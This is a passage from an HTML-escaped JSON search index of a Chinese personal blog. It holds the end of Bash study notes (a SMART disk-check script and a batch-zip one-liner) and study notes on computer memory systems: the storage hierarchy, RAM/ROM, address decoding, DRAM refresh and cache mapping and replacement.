class=\"variable\"\u003e$SMARTCTL\u003c/span\u003e -a \u003cspan class=\"variable\"\u003e$DEVICE\u003c/span\u003e | grep \u003cspan class=\"string\"\u003e\u0026#39;SMART overall-health self-assessment test result\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e RESULT=$(\u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"variable\"\u003e$STATUS\u003c/span\u003e | awk \u003cspan class=\"string\"\u003e\u0026#39;{print $NF}\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e [ \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$RESULT\u003c/span\u003e\u0026#34;\u003c/span\u003e != \u003cspan class=\"string\"\u003e\u0026#34;PASSED\u0026#34;\u003c/span\u003e ]; \u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ALERTS=\u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$ALERTS\u003c/span\u003e\\n硬盘异常:\u003cspan class=\"variable\"\u003e$DEVICE\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$MODEL\u003c/span\u003e)\\n\u003cspan class=\"variable\"\u003e$STATUS\u003c/span\u003e\\n\u0026#34;\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 追加到变量中,用换行符分隔不同的硬盘信息\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ALERTS=\u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$ALERTS\u003c/span\u003e\\n硬盘正常:\u003cspan class=\"variable\"\u003e$DEVICE\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$MODEL\u003c/span\u003e)\\n\u003cspan class=\"variable\"\u003e$STATUS\u003c/span\u003e\\n\u0026#34;\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 追加到变量中,用换行符分隔不同的硬盘信息\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eALERTS=\u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e DEV \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"variable\"\u003e$DEVICES\u003c/span\u003e; \u003cspan class=\"keyword\"\u003edo\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e check_disk /dev/\u003cspan class=\"variable\"\u003e$DEV\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$ALERTS\u003c/span\u003e\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"批量压缩\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%89%B9%E9%87%8F%E5%8E%8B%E7%BC%A9\" class=\"headerlink\" title=\"批量压缩\"\u003e\u003c/a\u003e批量压缩\u003c/h3\u003e\u003cp\u003e基本就是个用\u003ccode\u003els\u003c/code\u003e和\u003ccode\u003eawk\u003c/code\u003e组装起来的工具,没啥技术含量。使用时会把目录下的所有东西压缩为以文件为名的压缩包:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003els\u003c/span\u003e | awk \u003cspan class=\"string\"\u003e\u0026#39;{print \u0026#34;zip -r \\\u0026#34;\u0026#34; $0\u0026#34;.zip\\\u0026#34; \\\u0026#34;\u0026#34;$0\u0026#34;\\\u0026#34;\u0026#34;}\u0026#39;\u003c/span\u003e | bash\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"计组笔记:第四章-存储系统","time":"2023-05-31T21:55:17Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"4-1-概述\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-1-%E6%A6%82%E8%BF%B0\" class=\"headerlink\" title=\"4.1.概述\"\u003e\u003c/a\u003e4.1.概述\u003c/h2\u003e\u003cp\u003eCPU通过总线,和系统中各部分组件相连接。和它连接的硬件,其中就有一组由各部分组件构成的一个存储系统。此外还有其他通过“接口”和总线相连接的外设。接口中有着一些可编程部分,它们负责统一总线通信协议。\u003c/p\u003e\u003cp\u003eBIOS存储在一个固化的存储芯片中,负责引导系统开机。引导系统加载后,它跳转到系统的内存位置,结束任务。操作系统则负责加载自己的其余部分。\u003c/p\u003e\u003cp\u003e在这个过程中,CPU先从Flash取指令,再从主存MM中取指令,其中也会从硬盘加载指令来执行。\u003c/p\u003e\u003ch3 id=\"4-1-1-存储系统的层次结构\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-1-1-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B1%82%E6%AC%A1%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"4.1.1.存储系统的层次结构\"\u003e\u003c/a\u003e4.1.1.存储系统的层次结构\u003c/h3\u003e\u003cp\u003e系统的存储体系属于金字塔型多级结构。从寄存器到Cache,MM,ROM,磁盘,设备的存储速度逐步下降,价格也逐步下降,存储空间也逐步增加。而这整个体系对于CPU而言是一个完整的体系,它们具有寄存器的速度,也具有磁盘的大容量。这就是依靠存储体系实现的。典型的存储体系\u003cstrong\u003e是一个三层结构\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e存储器的三大要求:大容量、高速度、低成本。这三者往往是矛盾的。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e本章的重点是Cache部分\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eCPU中的寄存器一般使用触发器实现。它集成度最低,容量最小,但是速度也最快。Cache使用SRAM实现,MM使用DRAM实现,BIOS使用ROM实现,辅存使用HDD实现,还有其他脱机存储器,比如磁带,光盘等。\u003c/p\u003e\u003cp\u003e现在,CPU内部的Cache也有多级缓存结构,例如L1 Cache,L2 Cache,L3 Cache。\u003c/p\u003e\u003cp\u003e系统的总线分为北桥和南桥,前者速度比较快,跟CPU相连更近;后者离CPU更远,因此更慢。不过现在南北桥已经集成到SoC(System on Chip)了,两个已经合成一个芯片。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601062558.png\"/\u003e\u003c/p\u003e\u003cp\u003e一般存储体系有两种:\u003c/p\u003e\u003cul\u003e\u003cli\u003eCache存储体系 由Cache和主存构成,主要为了提高存储器速度;对系统程序员以上均透明(不可见)\u003c/li\u003e\u003cli\u003e虚拟存储器系统 由主存和磁盘构成,主要是为了扩大容量;对应用程序员透明\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003e透明的说法在这些计算机的书里很流行,它的意思不是说可见,而是说它本身和一块玻璃一样,不可被看见。\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"存储器分类\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#%E5%AD%98%E5%82%A8%E5%99%A8%E5%88%86%E7%B1%BB\" class=\"headerlink\" title=\"存储器分类\"\u003e\u003c/a\u003e存储器分类\u003c/h4\u003e\u003cp\u003e分类标准:介质、用途、信息易失性、存取方式(随机,例如RAM;顺序访问,例如顺序存取存储器SAM,直接存取存储器DAM)、读写功能(读写,只读)。\u003c/p\u003e\u003cp\u003e也可以如下分类:\u003c/p\u003e\u003cul\u003e\u003cli\u003e基本型存储器\u003cul\u003e\u003cli\u003e半导体\u003cul\u003e\u003cli\u003e易失RAM\u003cul\u003e\u003cli\u003eS(Static)RAM\u003c/li\u003e\u003cli\u003eD(Dynamic)RAM\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e非易失ROM\u003cul\u003e\u003cli\u003eEPROM紫外线擦除\u003c/li\u003e\u003cli\u003eEEPROM($E^2ROM$)电擦除\u003cul\u003e\u003cli\u003eFlash闪速\u003cul\u003e\u003cli\u003eNOR随机访问,可存储固件\u003c/li\u003e\u003cli\u003eNAND只能顺序存储,可以做大容量存储器\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e磁:磁盘\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e复合型存储器\u003cul\u003e\u003cli\u003e半导体:多端口、多体交叉、相联\u003c/li\u003e\u003cli\u003e磁:磁盘阵列(RAID)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"4-1-2-存储器的性能指标\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-1-2-%E5%AD%98%E5%82%A8%E5%99%A8%E7%9A%84%E6%80%A7%E8%83%BD%E6%8C%87%E6%A0%87\" class=\"headerlink\" title=\"4.1.2.存储器的性能指标\"\u003e\u003c/a\u003e4.1.2.存储器的性能指标\u003c/h3\u003e\u003cp\u003e容量、速度(存取时间;存取周期;存储器带宽,单位时间存储器可以读出/写入的字节数,$B_m=\\frac{n}{t_m}$,分子是每次读写字节数,分母是存取周期)、可靠性、功耗、价格、体积、重量、封装方式、工作电压、环境条件等。\u003c/p\u003e\u003ch3 id=\"4-2-1-随机读写存储器RAM\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-2-1-%E9%9A%8F%E6%9C%BA%E8%AF%BB%E5%86%99%E5%AD%98%E5%82%A8%E5%99%A8RAM\" class=\"headerlink\" title=\"4.2.1.随机读写存储器RAM\"\u003e\u003c/a\u003e4.2.1.随机读写存储器RAM\u003c/h3\u003e\u003col\u003e\u003cli\u003e内部译码结构:\u003col\u003e\u003cli\u003e一维译码:使用类似74138的译码器将地址对应到存储单元\u003c/li\u003e\u003cli\u003e二维译码:一个行选,一个列选,适合大规模存储器的译码\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e单元电路\u003col\u003e\u003cli\u003e静态读写存储器SRAM\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e由6个晶体管实现,只要不断电,信息不丢失。初始加电,状态随机。电路中总有晶体管导通,功耗大,集成度不高。\u003cbr/\u003e 2. 动态读写存储器DRAM\u003c/p\u003e\u003cp\u003e四个晶体管实现。内部由电容维持电荷,因此需要定时读取刷新来保持数据。功耗低,集成度高。现在更新的DRAM可以只用一个晶体管和一个电容来实现,因此可以有更高的集成度。通过SenseAMP,可以根据电压变化来刷新存储器的内容。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e 3. 内存构成 1. 单片存储器芯片的连接\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e引脚定义:Dn是数据线,An是地址线,OE是读开关,WE是写开关,CS是控制开关,也就是片选端口。\u003c/p\u003e\u003cp\u003e连接方式如图所示,特殊的部分主要集中在片选端口上。这部分电路叫做内存地址译码电路,它负责选择不同的芯片。注意,上划线的是\u003cstrong\u003e低电平有效端口\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e这里的重点就是地址范围分析。这个很简单,只需要让CS为低电平的信号作为高位,再去看低12位的地址总线就能看出来地址范围了。比如,下图的地址范围就是F0000H~F1FFFH这个地址范围。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601065833.png\"/\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e 2. 内存的字扩展\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e使用$8K*8bit$的SRAM去构成32KB的内存,只需要让二者的位数对应上就行。比如这里就只需要4个这种规格的SRAM芯片。如下所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601071051.png\"/\u003e\u003c/p\u003e\u003cp\u003e所有芯片的Dn和An、OE、WE都并联。而CS则由74138控制片选情况。这时就可以分析得到,从上到下四个芯片的地址范围分别是C0000\u003cdel\u003eC1FFF,C2000\u003c/del\u003eC3FFF,C4000\u003cdel\u003eC5FFF,C6000\u003c/del\u003eC7FFF。这称为字扩展。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e 3. 内存的位扩展\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e例如,用$2K\u003cem\u003e4bit$的存储芯片构成$2K\u003c/em\u003e8bit$的存储芯片。这种接法如下图所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601071451.png\"/\u003e\u003c/p\u003e\u003cp\u003e也是用74138去进行片选,同时BHE也需要控制。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这里经常会有内存范围的计算。计算地址范围的大小时,记得大地址减去小地址后加一。例如78000H到97FFFH,计算时就应该是用$98000H-78000H=20000H$,也就是$2^{17}$字节(一般都是\u003cstrong\u003e按字节编址\u003c/strong\u003e),因此需要$(2^{17}\\div 2^{10})KB\\div 2KB=64$片这样的芯片。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e可以参考这个例题食用:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601072428.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"4-2-2-只读存储器ROM\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-2-2-%E5%8F%AA%E8%AF%BB%E5%AD%98%E5%82%A8%E5%99%A8ROM\" class=\"headerlink\" title=\"4.2.2.只读存储器ROM\"\u003e\u003c/a\u003e4.2.2.只读存储器ROM\u003c/h3\u003e\u003cul\u003e\u003cli\u003e特点:存储信息的非易失性\u003c/li\u003e\u003cli\u003e分类:\u003cul\u003e\u003cli\u003e掩膜型ROM\u003c/li\u003e\u003cli\u003e可编程ROM:PROM、OTP-ROM\u003c/li\u003e\u003cli\u003e可擦写编程ROM:(UV)EPROM、EEPROM、Flash(NOR、NAND)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"4-2-3-动态存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-2-3-%E5%8A%A8%E6%80%81%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.2.3.动态存储器\"\u003e\u003c/a\u003e4.2.3.动态存储器\u003c/h3\u003e\u003col\u003e\u003cli\u003e一般的动态存储器DRAM:以Intel 2164A为例\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e无论读写,地址都需要分两次来送。第一次时,给RAS一个下降沿,第二次,给CAS一个下降沿,来让芯片读取这两个地址。得到地址之后,芯片把数据送出数据线。这和如今的DRAM芯片一致。它\u003cstrong\u003e每隔2ms刷新一次\u003c/strong\u003e。只需要给RAS一个下降沿,就能刷新一行的DRAM。\u003c/p\u003e\u003cp\u003e这里可能会考到引脚相关的问题,如下所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601074346.png\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e常用刷新方式:\u003cul\u003e\u003cli\u003e集中式:有概率会遇到死区(不可用时段),因为刷新时间会集中占用一个时段\u003c/li\u003e\u003cli\u003e分布式:更短的刷新周期,将刷新的周期均匀分布到读取时间段。但是内存访问时延变长了\u003c/li\u003e\u003cli\u003e异步式(最常用):$Row\\div T_{Refresh}$得到周期,再在每个周期最后刷新内存。它将刷新安排在指令译码阶段,不会出现死区。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e同步动态存储器SDRAM\u003c/li\u003e\u003c/ol\u003e\u003cp\u003eDDR SDRAM:上升和下降沿都能读写数据。\u003c/p\u003e\u003ch3 id=\"4-2-5-其他存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-2-5-%E5%85%B6%E4%BB%96%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.2.5.其他存储器\"\u003e\u003c/a\u003e4.2.5.其他存储器\u003c/h3\u003e\u003col\u003e\u003cli\u003e多端口存储器:DS1609,有两个数据端\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601074730.png\"/\u003e\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e\u003cp\u003e多体交叉存储器:并行,提高读写性能\u003c/p\u003e\u003col\u003e\u003cli\u003e多体并行访问:80x86处理器内存组织\u003c/li\u003e\u003cli\u003e多体交叉访问:类似流水线的重复设置瓶颈段的操作,能大大提高性能。连续读m个数据,需要的时间:$T+(m-1)\\cdot \\Delta t$。类比于流水线的加速比,它也有加速比,$B=\\frac{1-(1-\\lambda)^m}{\\lambda}$。标量机中,m取2~8;超量机中,主存分体数可以超过32\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e相联存储器:一种多路选择器构成的Key-Value形式存储器\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602141355.png\"/\u003e\u003c/p\u003e\u003cp\u003e它的用途有:Cache的目录表、页表的块表(TLB)等。\u003c/p\u003e\u003ch2 id=\"4-3-高速缓冲存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-3-%E9%AB%98%E9%80%9F%E7%BC%93%E5%86%B2%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.3.高速缓冲存储器\"\u003e\u003c/a\u003e4.3.高速缓冲存储器\u003c/h2\u003e\u003cp\u003e它是实现金字塔型存储体系的关键所在。它可以将上一部分频繁使用的部分存放在其中,以此来提高性能(这是因为它本身的速度就很快)。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e局部性原理:时间/空间局部性,相关的变量,会在时间/空间上存在局部性比如循环变量,会存在时间局部性;相邻的数组元素,存在空间局部性\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602143757.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面是Cache的作用:命中的话,直接使用;未命中Cache,则访问主存,并改动Cache。这一步得注意,由于Cache存在,就出现了数据不一致性,因此得控制好数据写回时机来保证数据一致性。\u003c/p\u003e\u003ch3 id=\"4-3-2-地址映射\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-3-2-%E5%9C%B0%E5%9D%80%E6%98%A0%E5%B0%84\" class=\"headerlink\" title=\"4.3.2.地址映射\"\u003e\u003c/a\u003e4.3.2.地址映射\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e地址映像\u003c/strong\u003e 就是把主存上的数据按照某种规则装入Cache,并建立主存和Cache地址间的映射。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e地址变换\u003c/strong\u003e 使用Cache中数据之前,必须先把程序从主存地址变换成Cache地址才能使用。\u003c/li\u003e\u003cli\u003e选取地址映射的原则:\u003cul\u003e\u003cli\u003e地址变换硬件要高速、低价、易于实现\u003c/li\u003e\u003cli\u003eCache空间利用率要高\u003c/li\u003e\u003cli\u003e发生\u003cstrong\u003e块冲突\u003c/strong\u003e概率要小\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e这种映射的调度单位是\u003cstrong\u003e块\u003c/strong\u003e。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e映射方式一般有三种:\u003cstrong\u003e全相联、直接映射、组相联\u003c/strong\u003e。\u003c/p\u003e\u003col\u003e\u003cli\u003e全相联:主存的任意一块可以映像到Cache的任意一块(可以认为是完全自由的装法)。具体如下图所示:\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602150346.png\"/\u003e\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e直接映射:按照Cache容量对主存分区,一个区的块只能装入一个Cache的对应位置。不过这里得注意,目录不存块号了,存的是区号。块号在Cache开头存着。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602151210.png\"/\u003e\u003c/p\u003e\u003cp\u003e这样的好处就是,不用相联存储器,访问速度也快(不需要地址变换)。不过缺点也很明显:Cache块利用率低,块冲突概率高。特别是,如果主存存储的变量具有空间相关性(比如数组),那这一个Cache位置几乎每次访问都不会命中了。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e组相联:跟上面一样,将主存按Cache总大小分区,每个区内部按照Cache规则分组,每个组中有若干块。具体如下图:\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602153928.png\"/\u003e\u003c/p\u003e\u003cp\u003e它是前两者的折中,优点是提高了利用率,降低了冲突率,也大幅降低了失效比率。但是问题是制造成本和难度上升了。\u003c/p\u003e\u003cp\u003e做题时,要解决Cache分块,只需要把主存地址按照每个编号类型的长度来划分就行。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602161840.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"4-3-3-替换算法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-3-3-%E6%9B%BF%E6%8D%A2%E7%AE%97%E6%B3%95\" class=\"headerlink\" title=\"4.3.3.替换算法\"\u003e\u003c/a\u003e4.3.3.替换算法\u003c/h3\u003e\u003cp\u003e直接映射不需要替换算法。全相联、组相联有如下几种替换算法:\u003c/p\u003e\u003cul\u003e\u003cli\u003e随机替换算法\u003c/li\u003e\u003cli\u003e先进先出替换算法(FIFO)\u003cul\u003e\u003cli\u003e它还有一个二次机会的版本\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e最不经常使用替换算法(LFU):总的使用频次最少,\u003cstrong\u003e实现困难\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e近期最少使用替换算法(LRU):上一次使用的时间点最晚\u003c/li\u003e\u003cli\u003e最佳替换算法(OPT):预测将来的情况,根据将来的情况替换。作为其他算法的性能基准\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e关于一致性问题有两种策略:写回法,只有Cache被替换时才将它写回;全写/写直达法,写入Cache时顺便写入主存,如果未命中,则直接写主存,然后根据WTWA/WTNWA(写分配/不分配法)来决定是否将块取到Cache。前一种方法高性能,后一种主存一致性好。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230602171124.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"4-3-5-Cache性能分析\"\u003e\u003ca 